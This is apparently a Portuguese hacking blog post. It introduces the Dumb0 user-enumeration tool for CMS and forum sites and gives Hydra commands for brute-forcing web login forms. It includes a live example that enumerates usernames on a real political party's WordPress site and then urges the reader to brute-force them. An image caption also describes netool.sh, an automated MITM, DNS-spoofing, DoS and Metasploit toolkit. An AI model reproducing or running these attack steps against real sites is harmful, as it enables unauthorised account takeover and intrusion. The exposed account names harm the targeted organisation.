![[Dumb0] + HYDRA](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGTNCTIyjF0KqOW2-BCn3F9cWi4EW5R4432ZEe_yDtDbibYUkEqhIVeAJ-7R9JKKMEMtZL-7hflwXsU8a1FaCWCeAtjIcHA6SjbnFEdqaV9eSDVrLxeA9kdCuFmRo8VYFKMK-P52k1pOa3/s1600/passwords-007.jpg "[Dumb0] + HYDRA")
Dumb0 é uma ferramenta possibilita extrair usuários ativos de plataformas CMS mais populares.
baixar: git clone https://github.com/0verl0ad/Dumb0.git
projeto: https://github.com/0verl0ad/Dumb0/
CMS que podemos extrair:
SMF -- Simple Machine ForumsUsando:
IPB -- Invision Power Board
XEN -- Xen Foro
VB -- vBulletin
myBB --
useBB --
vanilla --
bbPress --
WP -- WordPress
SPIP -- SPIP CMS
DRUPAL -- Drupal
MOODLE -- Moodle
BEE -- Beehive Forums
FLUX -- fluxBB
FUD -- FUDforum
punBB --
ACM -- AcmImBoard XD
BURN -- Burning Board
COM -- Community Servers
deluxeBB --
fusionBB --
JFORUM --
JITBIT -- Jibit ASPNetForum
JIVE -- Jive Forums
NEAR -- Near Forums
OVBB --
TikiWiki -- TikiWiki CMS-Groupware
Comando Dumb0 ex:
perl dumb0.pl --url=[SEU_ALVO URL] --type=[CMS/FORUM ID] {OPTIONS: --log=[SESSION COOKIE] --file[FILENAME] }
Uma vez identificado o CMS-usuarios podemos direcionar um ataque de força bruta contra eles via hydra.
Usando Hydra:
hydra URL http-form-post "/Path/archivo.php:ParametroUser=^USER^¶metroPass=^PASS^:MSG QUE INDICA FALHA" -L seus_user.txt -P senhas.txt
Sintaxe simples fica assim :
--------------------------------------------------------------------------------
hydra -l admin -P pass.txt -o out.txt -t 1 -f 127.0.0.1 http-post-form "/login/logar.php:user=^USER^&pass=^PASS^:Usuario ou senha invalida"
--------------------------------------------------------------------------------
Para criar esta sintaxe foi preciso :
Valor do atributo action do--------------------------------------------------------------------------------
<form> : logar.php Valor do atributo referente ao nome e senha de usuário nas tags <input> dentro do <form>: name , pass Mensagem de erro ou parte dela: "Usuário ou senha invalida" - O uso do caractere coringa é permitido : .*senha invalida - É possível usar uma mensagem de sucesso adicionando S= antes da mensagem :
--------------------------------------------------------------------------------
hydra -l admin -P pass.txt -o out.txt -t 1 -f -w 15 127.0.0.1 http-post-form "/login/logar.php:user=^USER^&pass=^PASS^:S=Logado com sucesso"
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
Exemplo de resultado Dumb0:
alvo:http://www.psdb-mg.org.br/
perl Dumb0.pl --type=WP --url='http://www.psdb-mg.org.br/' --file='ps.txt'
RESULTADO:
[!] Dumping users from http://www.psdb-mg.org.br/...
[+] Posible user found ~> admin – PSDB - MG
[+] Posible user found ~> psdb – PSDB - MG
[+] Posible user found ~> psdbjovem – PSDB - MG
[+] Posible user found ~> psdbmulher – PSDB - MG
[+] Posible user found ~> psdbsindical – PSDB - MG
[+] Posible user found ~> itv – PSDB - MG
[+] Posible user found ~> Alias – PSDB - MG
[+] Posible user found ~> tucanafro – PSDB - MG
[!] Work finished
Depois de terminado o scan de users, agora direcionar seu ataque de força bruta com Hydra.
REF:http://blog.0verl0ad.com/2014/02/dumb0pl-herramienta-para-extraer.html
REF:http://www.exploit-db.com/papers/18939/
![netool.sh é um script em bash para automatizar frameworks como Nmap, redes de deriva, sslstrip, Metasploit e Ettercap MITM ataques. esse script faz com que seja fácil, tarefas como SNIFFING tráfego TCP / UDP, ataques ManInTheMiddle, SSLsniff, falsificação de DNS, o outro módulos disponíveis são: recuperar metadados do site alvo, ataques DoS dentro da rede externa / local,também usa macchanger para chamariz scans, usa o nmap para procurar uma porta especificada aberto no externo / lan local, mudança / ver o seu endereço mac, mudar o meu PC hostname, também pode executar TCP / UDP pacotes manipulação usando etter.filters, também como a habilidade de capturar imagens de navegação na web-browser na máquina de destino sob ataque MITM e realiza uma varredura vuln ao web-site-alvo usando websecurify firefox-addon, também usos [msfpayload + + msfencode msfcli] para ter o controle remoto da máquina de destino, também veio com [root3.rb] meterpreter ruby script de auxiliar, e um módulo para instalar / editar o script meterpreter e atualizar o banco de dados Metasploit automática, busca de alvos de geolocalização, ou use [webcrawler.py] módulo para procurar páginas de login de administrador, directorys site, webshells.php plantada no site, scanner vulns upload de arquivo comum [LFI] e procurar XSS sites vuln usando idiotas google, também usa um módulo para automatizado alguns ataques mais MITM (dns-paródia + metasploit + phishing, e uma colecção de (Metasploit) exploits automatizados ...](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8GYF6TNdYQ92yW5pLRchbUc5coDWqUTHscKpRoV3a2ttipZZ4fPZ20p8kp6XCj1L2b9_YMrD4oHSB4LSr5A_JYuAb-53lgBVwVNkXBCdoksOWS_iC_W-VXN1bgN5tBSCXfbMxoWFaTAMa/s1600/Captura+de+tela+de+2014-06-10+12:08:12.png "netool.sh é um script em bash para automatizar frameworks como Nmap, redes de deriva, sslstrip, Metasploit e Ettercap MITM ataques. esse script faz com que seja fácil, tarefas como SNIFFING tráfego TCP / UDP, ataques ManInTheMiddle, SSLsniff, falsificação de DNS, o outro módulos disponíveis são: recuperar metadados do site alvo, ataques DoS dentro da rede externa / local,também usa macchanger para chamariz scans, usa o nmap para procurar uma porta especificada aberto no externo / lan local, mudança / ver o seu endereço mac, mudar o meu PC hostname, também pode executar TCP / UDP pacotes manipulação usando etter.filters, também como a habilidade de capturar imagens de navegação na web-browser na máquina de destino sob ataque MITM e realiza uma varredura vuln ao web-site-alvo usando websecurify firefox-addon, também usos [msfpayload + + msfencode msfcli] para ter o controle remoto da máquina de destino, também veio com [root3.rb] meterpreter ruby script de auxiliar, e um módulo para instalar / editar o script meterpreter e atualizar o banco de dados Metasploit automática, busca de alvos de geolocalização, ou use [webcrawler.py] módulo para procurar páginas de login de administrador, directorys site, webshells.php plantada no site, scanner vulns upload de arquivo comum [LFI] e procurar XSS sites vuln usando idiotas google, também usa um módulo para automatizado alguns ataques mais MITM (dns-paródia + metasploit + phishing, e uma colecção de (Metasploit) exploits automatizados ...")
![Usando [ SCANNER INURL ]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvt6poYcQJTx6oTvd41W5m4K9tegZMY1t0KhAwg4Vzqg8a2Wuhc6mplyBFk5mqZhSM37Eb3mH007kzZNWZYSATrIszM2bLO-_o2ElIsAg299XUsQFhIVqQHCrG88llNT3Pt7HBN3oupgM/s1600/Captura+de+tela+de+2014-06-05+14:46:36.png "Usando [ SCANNER INURL ]")